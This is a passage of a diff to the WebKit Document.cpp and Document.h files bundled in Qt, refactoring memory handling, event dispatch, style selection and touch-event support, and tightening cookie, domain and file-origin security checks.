-            if (!stdfont.isEmpty()) {
-                fontDescription.firstFamily().setFamily(stdfont);
-                fontDescription.firstFamily().appendFamily(0);
-            }
-            fontDescription.setKeywordSize(CSSValueMedium - CSSValueXxSmall + 1);
-            m_styleSelector->setFontSize(fontDescription, m_styleSelector->fontSizeForKeyword(CSSValueMedium, inCompatMode(), false));
-        }
-
-        documentStyle->setFontDescription(fontDescription);
-        documentStyle->font().update(m_styleSelector->fontSelector());
-        if (inCompatMode())
-            documentStyle->setHtmlHacks(true); // enable html specific rendering tricks
-
+        RefPtr<RenderStyle> documentStyle = CSSStyleSelector::styleForDocument(this);
         StyleChange ch = diff(documentStyle.get(), renderer()->style());
         if (renderer() && ch != NoChange)
             renderer()->setStyle(documentStyle.release());
@@ -1300,6 +1372,7 @@ bail_out:
 
     if (view())
         view()->resumeScheduledEvents();
+    RenderWidget::resumeWidgetHierarchyUpdates();
     resumePostAttachCallbacks();
     m_inStyleRecalc = false;
 
@@ -1310,7 +1383,7 @@ bail_out:
     }
 
 #if ENABLE(INSPECTOR)
-    if (timelineAgent)
+    if (InspectorTimelineAgent* timelineAgent = inspectorTimelineAgent())
         timelineAgent->didRecalculateStyle();
 #endif
 }
@@ -1381,7 +1454,7 @@ void Document::updateLayoutIgnorePendingStylesheets()
         } else if (m_hasNodesWithPlaceholderStyle)
             // If new nodes have been added or style recalc has been done with style sheets still pending, some nodes 
             // may not have had their real style calculated yet. Normally this gets cleaned when style sheets arrive 
-            // but here we need up-to-date style immediatly.
+            // but here we need up-to-date style immediately.
             recalcStyle(Force);
     }
 
@@ -1390,6 +1463,26 @@ void Document::updateLayoutIgnorePendingStylesheets()
     m_ignorePendingStylesheets = oldIgnore;
 }
 
+PassRefPtr<RenderStyle> Document::styleForElementIgnoringPendingStylesheets(Element* element)
+{
+    ASSERT_ARG(element, element->document() == this);
+
+    bool oldIgnore = m_ignorePendingStylesheets;
+    m_ignorePendingStylesheets = true;
+    RefPtr<RenderStyle> style = styleSelector()->styleForElement(element, element->parent() ? element->parent()->computedStyle() : 0);
+    m_ignorePendingStylesheets = oldIgnore;
+    return style.release();
+}
+
+void Document::createStyleSelector()
+{
+    bool matchAuthorAndUserStyles = true;
+    if (Settings* docSettings = settings())
+        matchAuthorAndUserStyles = docSettings->authorAndUserStylesEnabled();
+    m_styleSelector.set(new CSSStyleSelector(this, m_styleSheets.get(), m_mappedElementSheet.get(), pageUserSheet(), pageGroupUserSheets(), 
+                                             !inCompatMode(), matchAuthorAndUserStyles));
+}
+
 void Document::attach()
 {
     ASSERT(!attached());
@@ -1400,19 +1493,11 @@ void Document::attach()
         m_renderArena = new RenderArena();
     
     // Create the rendering tree
-    setRenderer(new (m_renderArena) RenderView(this, view()));
+    setRenderer(new (m_renderArena.get()) RenderView(this, view()));
 #if USE(ACCELERATED_COMPOSITING)
     renderView()->didMoveOnscreen();
 #endif
 
-    if (!m_styleSelector) {
-        bool matchAuthorAndUserStyles = true;
-        if (Settings* docSettings = settings())
-            matchAuthorAndUserStyles = docSettings->authorAndUserStylesEnabled();
-        m_styleSelector = new CSSStyleSelector(this, m_styleSheets.get(), m_mappedElementSheet.get(), pageUserSheet(), pageGroupUserSheets(), 
-                                               !inCompatMode(), matchAuthorAndUserStyles);
-    }
-
     recalcStyle(Force);
 
     RenderObject* render = renderer();
@@ -1445,6 +1530,17 @@ void Document::detach()
         FrameView* view = m_frame->view();
         if (view)
             view->detachCustomScrollbars();
+
+#if ENABLE(TOUCH_EVENTS)
+        Page* ownerPage = page();
+        if (ownerPage && (m_frame == ownerPage->mainFrame())) {
+            // Inform the Chrome Client that it no longer needs to
+            // foward touch events to WebCore as the document is being
+            // destroyed. It may start again if a subsequent page
+            // registers a touch event listener.
+            ownerPage->chrome()->client()->needTouchEvents(false);
+        }
+#endif
     }
 
     // indicate destruction mode,  i.e. attached() but renderer == 0
@@ -1462,16 +1558,12 @@ void Document::detach()
         render->destroy();
     
     // This is required, as our Frame might delete itself as soon as it detaches
-    // us. However, this violates Node::detach() symantics, as it's never
+    // us. However, this violates Node::detach() semantics, as it's never
     // possible to re-attach. Eventually Document::detach() should be renamed,
     // or this setting of the frame to 0 could be made explicit in each of the
     // callers of Document::detach().
     m_frame = 0;
-    
-    if (m_renderArena) {
-        delete m_renderArena;
-        m_renderArena = 0;
-    }
+    m_renderArena.clear();
 }
 
 void Document::removeAllEventListeners()
@@ -1543,7 +1635,7 @@ AXObjectCache* Document::axObjectCache() const
 
 void Document::setVisuallyOrdered()
 {
-    visuallyOrdered = true;
+    m_visuallyOrdered = true;
     if (renderer())
         renderer()->style()->setVisuallyOrdered(true);
 }
@@ -1586,8 +1678,7 @@ void Document::cancelParsing()
         // the onload handler when closing as a side effect of a cancel-style
         // change, such as opening a new document or closing the window while
         // still parsing
-        delete m_tokenizer;
-        m_tokenizer = 0;
+        m_tokenizer.clear();
         close();
     }
 }
@@ -1596,8 +1687,7 @@ void Document::implicitOpen()
 {
     cancelParsing();
 
-    delete m_tokenizer;
-    m_tokenizer = 0;
+    m_tokenizer.clear();
 
     removeChildren();
 
@@ -1694,8 +1784,7 @@ void Document::implicitClose()
 
     // We have to clear the tokenizer, in case someone document.write()s from the
     // onLoad event handler, as in Radar 3206524.
-    delete m_tokenizer;
-    m_tokenizer = 0;
+    m_tokenizer.clear();
 
     // Parser should have picked up all preloads by now
     m_docLoader->clearPreloads();
@@ -1729,9 +1818,13 @@ void Document::implicitClose()
     if (f)
         f->animation()->resumeAnimations(this);
 
-    ImageLoader::dispatchPendingEvents();
+    ImageLoader::dispatchPendingBeforeLoadEvents();
+    ImageLoader::dispatchPendingLoadEvents();
     dispatchWindowLoadEvent();
-    dispatchWindowEvent(PageTransitionEvent::create(eventNames().pageshowEvent, false), this);
+    enqueuePageshowEvent(PageshowEventNotPersisted);
+    if (m_pendingStateObject)
+        enqueuePopstateEvent(m_pendingStateObject.release());
+    
     if (f)
         f->loader()->handledOnloadEvents();
 #ifdef INSTRUMENT_LAYOUT_SCHEDULING
@@ -1818,13 +1911,13 @@ bool Document::shouldScheduleLayout()
 int Document::minimumLayoutDelay()
 {
     if (m_overMinimumLayoutThreshold)
-        return 0;
+        return m_extraLayoutDelay;
     
     int elapsed = elapsedTime();
     m_overMinimumLayoutThreshold = elapsed > cLayoutScheduleThreshold;
     
     // We'll want to schedule the timer to fire at the minimum layout threshold.
-    return max(0, cLayoutScheduleThreshold - elapsed);
+    return max(0, cLayoutScheduleThreshold - elapsed) + m_extraLayoutDelay;
 }
 
 int Document::elapsedTime() const
@@ -1920,9 +2013,9 @@ void Document::updateBaseURL()
         m_baseURL = KURL();
 
     if (m_elemSheet)
-        m_elemSheet->setHref(m_baseURL.string());
+        m_elemSheet->setFinalURL(m_baseURL);
     if (m_mappedElementSheet)
-        m_mappedElementSheet->setHref(m_baseURL.string());
+        m_mappedElementSheet->setFinalURL(m_baseURL);
 }
 
 String Document::userAgent(const KURL& url) const
@@ -1944,7 +2037,7 @@ CSSStyleSheet* Document::pageUserSheet()
         return 0;
     
     // Parse the sheet and cache it.
-    m_pageUserSheet = CSSStyleSheet::create(this, settings()->userStyleSheetLocation());
+    m_pageUserSheet = CSSStyleSheet::createInline(this, settings()->userStyleSheetLocation());
     m_pageUserSheet->setIsUserStyleSheet(true);
     m_pageUserSheet->parseString(userSheetText, !inCompatMode());
     return m_pageUserSheet.get();
@@ -1979,7 +2072,7 @@ const Vector<RefPtr<CSSStyleSheet> >* Document::pageGroupUserSheets() const
             const UserStyleSheet* sheet = sheets->at(i).get();
             if (!UserContentURLPattern::matchesPatterns(url(), sheet->whitelist(), sheet->blacklist()))
                 continue;
-            RefPtr<CSSStyleSheet> parsedSheet = CSSStyleSheet::create(const_cast<Document*>(this), sheet->url());
+            RefPtr<CSSStyleSheet> parsedSheet = CSSStyleSheet::createInline(const_cast<Document*>(this), sheet->url());
             parsedSheet->setIsUserStyleSheet(true);
             parsedSheet->parseString(sheet->source(), !inCompatMode());
             if (!m_pageGroupUserSheets)
@@ -2001,14 +2094,14 @@ void Document::clearPageGroupUserSheets()
 CSSStyleSheet* Document::elementSheet()
 {
     if (!m_elemSheet)
-        m_elemSheet = CSSStyleSheet::create(this, m_baseURL.string());
+        m_elemSheet = CSSStyleSheet::createInline(this, m_baseURL);
     return m_elemSheet.get();
 }
 
 CSSStyleSheet* Document::mappedElementSheet()
 {
     if (!m_mappedElementSheet)
-        m_mappedElementSheet = CSSStyleSheet::create(this, m_baseURL.string());
+        m_mappedElementSheet = CSSStyleSheet::createInline(this, m_baseURL);
     return m_mappedElementSheet.get();
 }
 
@@ -2172,8 +2265,10 @@ void Document::processHttpEquiv(const String& equiv, const String& content)
         }
     } else if (equalIgnoringCase(equiv, "set-cookie")) {
         // FIXME: make setCookie work on XML documents too; e.g. in case of <html:meta .....>
-        if (isHTMLDocument())
-            static_cast<HTMLDocument*>(this)->setCookie(content);
+        if (isHTMLDocument()) {
+            ExceptionCode ec; // Exception (for sandboxed documents) ignored.
+            static_cast<HTMLDocument*>(this)->setCookie(content, ec);
+        }
     } else if (equalIgnoringCase(equiv, "content-language"))
         setContentLanguage(content);
     else if (equalIgnoringCase(equiv, "x-dns-prefetch-control"))
@@ -2489,7 +2584,7 @@ void Document::recalcStyleSelector()
                     sheet = cssSheet.get();
                 }
             }
-        } else if (n->isHTMLElement() && (n->hasTagName(linkTag) || n->hasTagName(styleTag))
+        } else if ((n->isHTMLElement() && (n->hasTagName(linkTag) || n->hasTagName(styleTag)))
 #if ENABLE(SVG)
             ||  (n->isSVGElement() && n->hasTagName(SVGNames::styleTag))
 #endif
@@ -2557,10 +2652,7 @@ void Document::recalcStyleSelector()
 
     m_styleSheets->swap(sheets);
 
-    // Create a new style selector
-    delete m_styleSelector;
-    m_styleSelector = new CSSStyleSelector(this, m_styleSheets.get(), m_mappedElementSheet.get(), 
-                                           pageUserSheet(), pageGroupUserSheets(), !inCompatMode(), matchAuthorAndUserStyles);
+    m_styleSelector.clear();
     m_didCalculateStyleSelector = true;
 }
 
@@ -2651,14 +2743,14 @@ bool Document::setFocusedNode(PassRefPtr<Node> newFocusedNode)
             oldFocusedNode->setActive(false);
 
         oldFocusedNode->setFocus(false);
-                
+
         // Dispatch a change event for text fields or textareas that have been edited
         RenderObject* r = oldFocusedNode->renderer();
-        if (r && r->isTextControl() && toRenderTextControl(r)->isEdited()) {
-            oldFocusedNode->dispatchEvent(Event::create(eventNames().changeEvent, true, false));
+        if (r && r->isTextControl() && toRenderTextControl(r)->wasChangedSinceLastChangeEvent()) {
+            static_cast<Element*>(oldFocusedNode.get())->dispatchFormControlChangeEvent();
             r = oldFocusedNode->renderer();
             if (r && r->isTextControl())
-                toRenderTextControl(r)->setEdited(false);
+                toRenderTextControl(r)->setChangedSinceLastChangeEvent(false);
         }
 
         // Dispatch the blur event and let the node do any other blur related activities (important for text fields)
@@ -2669,7 +2761,9 @@ bool Document::setFocusedNode(PassRefPtr<Node> newFocusedNode)
             focusChangeBlocked = true;
             newFocusedNode = 0;
         }
-        oldFocusedNode->dispatchUIEvent(eventNames().DOMFocusOutEvent, 0, 0);
+        
+        oldFocusedNode->dispatchUIEvent(eventNames().focusoutEvent, 0, 0); // DOM level 3 name for the bubbling blur event.
+
         if (m_focusedNode) {
             // handler shifted focus
             focusChangeBlocked = true;
@@ -2699,7 +2793,9 @@ bool Document::setFocusedNode(PassRefPtr<Node> newFocusedNode)
             focusChangeBlocked = true;
             goto SetFocusedNodeDone;
         }
-        m_focusedNode->dispatchUIEvent(eventNames().DOMFocusInEvent, 0, 0);
+
+        m_focusedNode->dispatchUIEvent(eventNames().focusinEvent, 0, 0); // DOM level 3 bubbling focus event.
+
         if (m_focusedNode != newFocusedNode) { 
             // handler shifted focus
             focusChangeBlocked = true;
@@ -2742,6 +2838,8 @@ bool Document::setFocusedNode(PassRefPtr<Node> newFocusedNode)
         axObjectCache()->handleFocusedUIElementChanged(oldFocusedRenderer, newFocusedRenderer);
     }
 #endif
+    if (!focusChangeBlocked)
+        page()->chrome()->focusedNodeChanged(m_focusedNode.get());
 
 SetFocusedNodeDone:
     updateStyleIfNeeded();
@@ -2900,11 +2998,32 @@ void Document::dispatchWindowLoadEvent()
     domWindow->dispatchLoadEvent();
 }
 
+void Document::enqueueEvent(PassRefPtr<Event> event)
+{
+    m_pendingEventQueue.append(event);
+    if (!m_pendingEventTimer.isActive())
+        m_pendingEventTimer.startOneShot(0);
+}
+
+void Document::pendingEventTimerFired(Timer<Document>*)
+{
+    ASSERT(!m_pendingEventTimer.isActive());
+    Vector<RefPtr<Event> > eventQueue;
+    eventQueue.swap(m_pendingEventQueue);
+
+    typedef Vector<RefPtr<Event> >::const_iterator Iterator;
+    Iterator end = eventQueue.end();
+    for (Iterator it = eventQueue.begin(); it != end; ++it)
+        dispatchWindowEvent(*it);
+}
+
 PassRefPtr<Event> Document::createEvent(const String& eventType, ExceptionCode& ec)
 {
     RefPtr<Event> event;
     if (eventType == "Event" || eventType == "Events" || eventType == "HTMLEvents")
         event = Event::create();
+    else if (eventType == "CustomEvent")
+        event = CustomEvent::create();
     else if (eventType == "KeyboardEvent" || eventType == "KeyboardEvents")
         event = KeyboardEvent::create();
     else if (eventType == "MessageEvent")
@@ -2939,6 +3058,10 @@ PassRefPtr<Event> Document::createEvent(const String& eventType, ExceptionCode&
     else if (eventType == "SVGZoomEvents")
         event = SVGZoomEvent::create();
 #endif
+#if ENABLE(TOUCH_EVENTS)
+    else if (eventType == "TouchEvent")
+        event = TouchEvent::create();
+#endif
     if (event) {
         event->setCreatedByDOM(true);
         return event.release();
@@ -2975,6 +3098,16 @@ void Document::addListenerTypeIfNeeded(const AtomicString& eventType)
         addListenerType(TRANSITIONEND_LISTENER);
     else if (eventType == eventNames().beforeloadEvent)
         addListenerType(BEFORELOAD_LISTENER);
+#if ENABLE(TOUCH_EVENTS)
+    else if (eventType == eventNames().touchstartEvent
+             || eventType == eventNames().touchmoveEvent
+             || eventType == eventNames().touchendEvent
+             || eventType == eventNames().touchcancelEvent) {
+        addListenerType(TOUCH_LISTENER);
+        if (Page* page = this->page())
+            page->chrome()->client()->needTouchEvents(true);
+    }
+#endif
 }
 
 CSSStyleDeclaration* Document::getOverrideStyle(Element*, const String&)
@@ -2989,11 +3122,20 @@ Element* Document::ownerElement() const
     return frame()->ownerElement();
 }
 
-String Document::cookie() const
+String Document::cookie(ExceptionCode& ec) const
 {
     if (page() && !page()->cookieEnabled())
         return String();
 
+    // FIXME: The HTML5 DOM spec states that this attribute can raise an
+    // INVALID_STATE_ERR exception on getting if the Document has no
+    // browsing context.
+
+    if (!securityOrigin()->canAccessCookies()) {
+        ec = SECURITY_ERR;
+        return String();
+    }
+
     KURL cookieURL = this->cookieURL();
     if (cookieURL.isEmpty())
         return String();
@@ -3001,11 +3143,20 @@ String Document::cookie() const
     return cookies(this, cookieURL);
 }
 
-void Document::setCookie(const String& value)
+void Document::setCookie(const String& value, ExceptionCode& ec)
 {
     if (page() && !page()->cookieEnabled())
         return;
 
+    // FIXME: The HTML5 DOM spec states that this attribute can raise an
+    // INVALID_STATE_ERR exception on setting if the Document has no
+    // browsing context.
+
+    if (!securityOrigin()->canAccessCookies()) {
+        ec = SECURITY_ERR;
+        return;
+    }
+
     KURL cookieURL = this->cookieURL();
     if (cookieURL.isEmpty())
         return;
@@ -3027,6 +3178,11 @@ String Document::domain() const
 
 void Document::setDomain(const String& newDomain, ExceptionCode& ec)
 {
+    if (SecurityOrigin::isDomainRelaxationForbiddenForURLScheme(securityOrigin()->protocol())) {
+        ec = SECURITY_ERR;
+        return;
+    }
+
     // Both NS and IE specify that changing the domain is only allowed when
     // the new domain is a suffix of the old domain.
 
@@ -3207,6 +3363,8 @@ void Document::removeImageMap(HTMLMapElement* imageMap)
     if (!name.impl())
         return;
 
+    m_imageMapsByName.checkConsistency();
+
     ImageMapsByName::iterator it = m_imageMapsByName.find(name.impl());
     if (it != m_imageMapsByName.end() && it->second == imageMap)
         m_imageMapsByName.remove(it);
@@ -3219,6 +3377,7 @@ HTMLMapElement *Document::getImageMap(const String& url) const
     int hashPos = url.find('#');
     String name = (hashPos < 0 ? url : url.substring(hashPos + 1)).impl();
     AtomicString mapName = isHTMLDocument() ? name.lower() : name;
+    m_imageMapsByName.checkConsistency();
     return m_imageMapsByName.get(mapName.impl());
 }
 
@@ -3732,7 +3891,7 @@ void Document::repaintMarkers(DocumentMarker::MarkerType markerType)
     }
 }
 
-void Document::setRenderedRectForMarker(Node* node, DocumentMarker marker, const IntRect& r)
+void Document::setRenderedRectForMarker(Node* node, const DocumentMarker& marker, const IntRect& r)
 {
     MarkerMapVectorPair* vectorPair = m_markers.get(node);
     if (!vectorPair) {
@@ -3929,7 +4088,7 @@ PassRefPtr<Attr> Document::createAttributeNS(const String& namespaceURI, const S
     }
 
     // Spec: DOM Level 2 Core: http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-DocCrAttrNS
-    if (!shouldIgnoreNamespaceChecks && qName.localName() == "xmlns" && qName.namespaceURI() != "http://www.w3.org/2000/xmlns/") {
+    if (!shouldIgnoreNamespaceChecks && qName.localName() == xmlnsAtom && qName.namespaceURI() != XMLNSNames::xmlnsNamespaceURI) {
         ec = NAMESPACE_ERR;
         return 0;
     }
@@ -4024,6 +4183,7 @@ CollectionCache* Document::nameCollectionInfo(CollectionType type, const AtomicS
     NamedCollectionMap::iterator iter = map.find(name.impl());
     if (iter == map.end())
         iter = map.add(name.impl(), new CollectionCache).first;
+    iter->second->checkConsistency();
     return iter->second;
 }
 
@@ -4227,7 +4387,7 @@ void Document::setUseSecureKeyboardEntryWhenActive(bool usesSecureKeyboard)
         return;
         
     m_useSecureKeyboardEntryWhenActive = usesSecureKeyboard;
-    m_frame->updateSecureKeyboardEntryIfActive();
+    m_frame->selection()->updateSecureKeyboardEntryIfActive();
 }
 
 bool Document::useSecureKeyboardEntryWhenActive() const
@@ -4252,7 +4412,7 @@ void Document::initSecurityContext()
     // loading URL.
     const KURL& url = m_frame->loader()->url();
     m_cookieURL = url;
-    ScriptExecutionContext::setSecurityOrigin(SecurityOrigin::create(url));
+    ScriptExecutionContext::setSecurityOrigin(SecurityOrigin::create(url, m_frame->loader()->sandboxFlags()));
 
     if (SecurityOrigin::allowSubstituteDataAccessToLocal()) {
         // If this document was loaded with substituteData, then the document can
@@ -4275,6 +4435,10 @@ void Document::initSecurityContext()
           // Some clients want file:// URLs to have universal access, but that
           // setting is dangerous for other clients.
           securityOrigin()->grantUniversalAccess();
+        } else if (!settings->allowFileAccessFromFileURLs() && securityOrigin()->isLocal()) {
+          // Some clients want file:// URLs to have even tighter restrictions by
+          // default, and not be able to access other local files.
+          securityOrigin()->makeUnique();
         }
     }
 
@@ -4304,8 +4468,54 @@ void Document::setSecurityOrigin(SecurityOrigin* securityOrigin)
     initDNSPrefetch();
 }
 
-void Document::updateFocusAppearanceSoon()
+#if ENABLE(DATABASE)
+
+bool Document::isDatabaseReadOnly() const
+{
+    if (!page() || page()->settings()->privateBrowsingEnabled())
+        return true;
+    return false;
+}
+
+void Document::databaseExceededQuota(const String& name)
+{
+    Page* currentPage = page();
+    if (currentPage)
+        currentPage->chrome()->client()->exceededDatabaseQuota(document()->frame(), name);
+}
+
+#endif
+
+bool Document::isContextThread() const
+{
+    return isMainThread();
+}
+
+void Document::updateURLForPushOrReplaceState(const KURL& url)
+{
+    Frame* f = frame();
+    if (!f)
+        return;
+
+    setURL(url);
+    f->loader()->documentLoader()->replaceRequestURLForSameDocumentNavigation(url);
+}
+
+void Document::statePopped(SerializedScriptValue* stateObject)
+{
+    Frame* f = frame();
+    if (!f)
+        return;
+    
+    if (f->loader()->isComplete())
+        enqueuePopstateEvent(stateObject);
+    else
+        m_pendingStateObject = stateObject;
+}
+
+void Document::updateFocusAppearanceSoon(bool restorePreviousSelection)
 {
+    m_updateFocusAppearanceRestoresSelection = restorePreviousSelection;
     if (!m_updateFocusAppearanceTimer.isActive())
         m_updateFocusAppearanceTimer.startOneShot(0);
 }
@@ -4327,7 +4537,7 @@ void Document::updateFocusAppearanceTimerFired(Timer<Document>*)
 
     Element* element = static_cast<Element*>(node);
     if (element->isFocusable())
-        element->updateFocusAppearance(false);
+        element->updateFocusAppearance(m_updateFocusAppearanceRestoresSelection);
 }
 
 void Document::executeScriptSoonTimerFired(Timer<Document>* timer)
@@ -4358,63 +4568,12 @@ void Document::executeScriptSoon(ScriptElementData* data, CachedResourceHandle<C
         m_executeScriptSoonTimer.startOneShot(0);
 }
 
-// FF method for accessing the selection added for compatability.
+// FF method for accessing the selection added for compatibility.
 DOMSelection* Document::getSelection() const
 {
     return frame() ? frame()->domWindow()->getSelection() : 0;
 }
 
-#if ENABLE(DATABASE)
-
-void Document::addOpenDatabase(Database* database)
-{
-    if (!m_openDatabaseSet)
-        m_openDatabaseSet.set(new DatabaseSet);
-
-    ASSERT(!m_openDatabaseSet->contains(database));
-    m_openDatabaseSet->add(database);
-}
-
-void Document::removeOpenDatabase(Database* database)
-{
-    ASSERT(m_openDatabaseSet && m_openDatabaseSet->contains(database));
-    if (!m_openDatabaseSet)
-        return;
-        
-    m_openDatabaseSet->remove(database);
-}
-
-DatabaseThread* Document::databaseThread()
-{
-    if (!m_databaseThread && !m_hasOpenDatabases) {
-        // Create the database thread on first request - but not if at least one database was already opened,
-        // because in that case we already had a database thread and terminated it and should not create another.
-        m_databaseThread = DatabaseThread::create();
-        if (!m_databaseThread->start())
-            m_databaseThread = 0;
-    }
-
-    return m_databaseThread.get();
-}
-
-void Document::stopDatabases()
-{
-    if (m_openDatabaseSet) {
-        DatabaseSet::iterator i = m_openDatabaseSet->begin();
-        DatabaseSet::iterator end = m_openDatabaseSet->end();
-        for (; i != end; ++i) {
-            (*i)->stop();
-            if (m_databaseThread)
-                m_databaseThread->unscheduleDatabaseTasks(*i);
-        }
-    }
-    
-    if (m_databaseThread)
-        m_databaseThread->requestTermination();
-}
-
-#endif
-
 #if ENABLE(WML)
 void Document::resetWMLPageState()
 {
@@ -4533,51 +4692,33 @@ void Document::scriptImported(unsigned long identifier, const String& sourceStri
 #endif
 }
 
-class ScriptExecutionContextTaskTimer : public TimerBase {
-public:
-    ScriptExecutionContextTaskTimer(PassRefPtr<Document> context, PassRefPtr<ScriptExecutionContext::Task> task)
-        : m_context(context)
-        , m_task(task)
-    {
-    }
-
-private:
-    virtual void fired()
-    {
-        m_task->performTask(m_context.get());
-        delete this;
-    }
-
-    RefPtr<Document> m_context;
-    RefPtr<ScriptExecutionContext::Task> m_task;
-};
-
-struct PerformTaskContext {
-    PerformTaskContext(ScriptExecutionContext* scriptExecutionContext, PassRefPtr<ScriptExecutionContext::Task> task)
-        : scriptExecutionContext(scriptExecutionContext)
+struct PerformTaskContext : Noncopyable {
+    PerformTaskContext(PassRefPtr<DocumentWeakReference> documentReference, PassOwnPtr<ScriptExecutionContext::Task> task)
+        : documentReference(documentReference)
         , task(task)
     {
     }
 
-    ScriptExecutionContext* scriptExecutionContext; // The context should exist until task execution.
-    RefPtr<ScriptExecutionContext::Task> task;
+    RefPtr<DocumentWeakReference> documentReference;
+    OwnPtr<ScriptExecutionContext::Task> task;
 };
 
 static void performTask(void* ctx)
 {
-    PerformTaskContext* ptctx = reinterpret_cast<PerformTaskContext*>(ctx);
-    ptctx->task->performTask(ptctx->scriptExecutionContext);
-    delete ptctx;
+    ASSERT(isMainThread());
+
+    PerformTaskContext* context = reinterpret_cast<PerformTaskContext*>(ctx);
+    ASSERT(context);
+
+    if (Document* document = context->documentReference->document())
+        context->task->performTask(document);
+
+    delete context;
 }
 
-void Document::postTask(PassRefPtr<Task> task)
+void Document::postTask(PassOwnPtr<Task> task)
 {
-    if (isMainThread()) {
-        ScriptExecutionContextTaskTimer* timer = new ScriptExecutionContextTaskTimer(static_cast<Document*>(this), task);
-        timer->startOneShot(0);
-    } else {
-        callOnMainThread(performTask, new PerformTaskContext(this, task));
-    }
+    callOnMainThread(performTask, new PerformTaskContext(m_weakReference, task));
 }
 
 Element* Document::findAnchor(const String& name)
@@ -4623,6 +4764,26 @@ void Document::displayBufferModifiedByEncoding(UChar* buffer, unsigned len) cons
         m_decoder->encoding().displayBuffer(buffer, len);
 }
 
+void Document::enqueuePageshowEvent(PageshowEventPersistence persisted)
+{
+    // FIXME: https://bugs.webkit.org/show_bug.cgi?id=36334 Pageshow event needs to fire asynchronously.
+    dispatchWindowEvent(PageTransitionEvent::create(eventNames().pageshowEvent, persisted), this);
+}
+
+void Document::enqueueHashchangeEvent(const String& /*oldURL*/, const String& /*newURL*/)
+{
+    // FIXME: https://bugs.webkit.org/show_bug.cgi?id=36201 Hashchange event needs to fire asynchronously.
+    // FIXME: https://bugs.webkit.org/show_bug.cgi?id=36335 Hashchange event is now its own interface and takes two
+    //   URL arguments which we need to pass in here.
+    dispatchWindowEvent(Event::create(eventNames().hashchangeEvent, false, false));
+}
+
+void Document::enqueuePopstateEvent(PassRefPtr<SerializedScriptValue> stateObject)
+{
+    // FIXME: https://bugs.webkit.org/show_bug.cgi?id=36202 Popstate event needs to fire asynchronously
+    dispatchWindowEvent(PopStateEvent::create(stateObject));
+}
+
 #if ENABLE(XHTMLMP)
 bool Document::isXHTMLMPDocument() const
 {
@@ -4630,8 +4791,21 @@ bool Document::isXHTMLMPDocument() const
         return false;
     // As per section 7.2 of OMA-WAP-XHTMLMP-V1_1-20061020-A.pdf, a conforming user agent
     // MUST accept XHTMLMP document identified as "application/vnd.wap.xhtml+xml"
-    // and SHOULD accept it identified as "application/xhtml+xml"
-    return frame()->loader()->responseMIMEType() == "application/vnd.wap.xhtml+xml" || frame()->loader()->responseMIMEType() == "application/xhtml+xml";
+    // and SHOULD accept it identified as "application/xhtml+xml" , "application/xhtml+xml" is a 
+    // general MIME type for all XHTML documents, not only for XHTMLMP
+    return frame()->loader()->responseMIMEType() == "application/vnd.wap.xhtml+xml";
+}
+#endif
+
+#if ENABLE(INSPECTOR)
+InspectorTimelineAgent* Document::inspectorTimelineAgent() const 
+{
+    return page() ? page()->inspectorTimelineAgent() : 0;
+}
+
+InspectorController* Document::inspectorController() const 
+{
+    return page() ? page()->inspectorController() : 0;
 }
 #endif
 
diff --git a/src/3rdparty/webkit/WebCore/dom/Document.h b/src/3rdparty/webkit/WebCore/dom/Document.h
index 0632be1..cc3e559 100644
--- a/src/3rdparty/webkit/WebCore/dom/Document.h
+++ b/src/3rdparty/webkit/WebCore/dom/Document.h
@@ -32,10 +32,13 @@
 #include "CollectionCache.h"
 #include "CollectionType.h"
 #include "Color.h"
+#include "Document.h"
 #include "DocumentMarker.h"
-#include "Page.h"
 #include "ScriptExecutionContext.h"
 #include "Timer.h"
+#if USE(JSC)
+#include <runtime/WeakGCMap.h>
+#endif
 #include <wtf/HashCountedSet.h>
 #include <wtf/OwnPtr.h>
 #include <wtf/PassOwnPtr.h>
@@ -61,6 +64,7 @@ namespace WebCore {
     class DocLoader;
     class DocumentFragment;
     class DocumentType;
+    class DocumentWeakReference;
     class EditingText;
     class Element;
     class EntityReference;
@@ -68,7 +72,6 @@ namespace WebCore {
     class EventListener;
     class Frame;
     class FrameView;
-    class HitTestRequest;
     class HTMLCanvasElement;
     class HTMLCollection;
     class HTMLAllCollection;
@@ -78,6 +81,8 @@ namespace WebCore {
     class HTMLHeadElement;
     class HTMLInputElement;
     class HTMLMapElement;
+    class HistoryItem;
+    class HitTestRequest;
     class InspectorTimelineAgent;
     class IntPoint;
     class DOMWrapperWorld;
@@ -85,6 +90,7 @@ namespace WebCore {
     class MouseEventWithHitTestResults;
     class NodeFilter;
     class NodeIterator;
+    class Page;
     class PlatformMouseEvent;
     class ProcessingInstruction;
     class Range;
@@ -93,6 +99,7 @@ namespace WebCore {
     class RenderView;
     class ScriptElementData;
     class SecurityOrigin;
+    class SerializedScriptValue;
     class SegmentedString;
     class Settings;
     class StyleSheet;
@@ -168,15 +175,20 @@ struct FormElementKeyHashTraits : WTF::GenericHashTraits<FormElementKey> {
     static bool isDeletedValue(const FormElementKey& value) { return value.isHashTableDeletedValue(); }
 };
 
+enum PageshowEventPersistence {
+    PageshowEventNotPersisted = 0,
+    PageshowEventPersisted = 1
+};
+    
 class Document : public ContainerNode, public ScriptExecutionContext {
 public:
     static PassRefPtr<Document> create(Frame* frame)
     {
-        return adoptRef(new Document(frame, false));
+        return adoptRef(new Document(frame, false, false));
     }
     static PassRefPtr<Document> createXHTML(Frame* frame)
     {
-        return adoptRef(new Document(frame, true));
+        return adoptRef(new Document(frame, true, false));
     }
     virtual ~Document();
 
@@ -250,6 +262,12 @@ public:
     DEFINE_ATTRIBUTE_EVENT_LISTENER(reset);
     DEFINE_ATTRIBUTE_EVENT_LISTENER(search);
     DEFINE_ATTRIBUTE_EVENT_LISTENER(selectstart);
+#if ENABLE(TOUCH_EVENTS)
+    DEFINE_ATTRIBUTE_EVENT_LISTENER(touchstart);
+    DEFINE_ATTRIBUTE_EVENT_LISTENER(touchmove);
+    DEFINE_ATTRIBUTE_EVENT_LISTENER(touchend);
+    DEFINE_ATTRIBUTE_EVENT_LISTENER(touchcancel);
+#endif
 
     DocumentType* doctype() const { return m_docType.get(); }
 
@@ -336,13 +354,14 @@ public:
         ASSERT(type >= FirstUnnamedDocumentCachedType);
         unsigned index = type - FirstUnnamedDocumentCachedType;
         ASSERT(index < NumUnnamedDocumentCachedTypes);
+        m_collectionInfo[index].checkConsistency();
         return &m_collectionInfo[index]; 
     }
 
     CollectionCache* nameCollectionInfo(CollectionType, const AtomicString& name);
 
     // Other methods (not part of DOM)
-    virtual bool isHTMLDocument() const { return false; }
+    bool isHTMLDocument() const { return m_isHTML; }
     virtual bool isImageDocument() const { return false; }
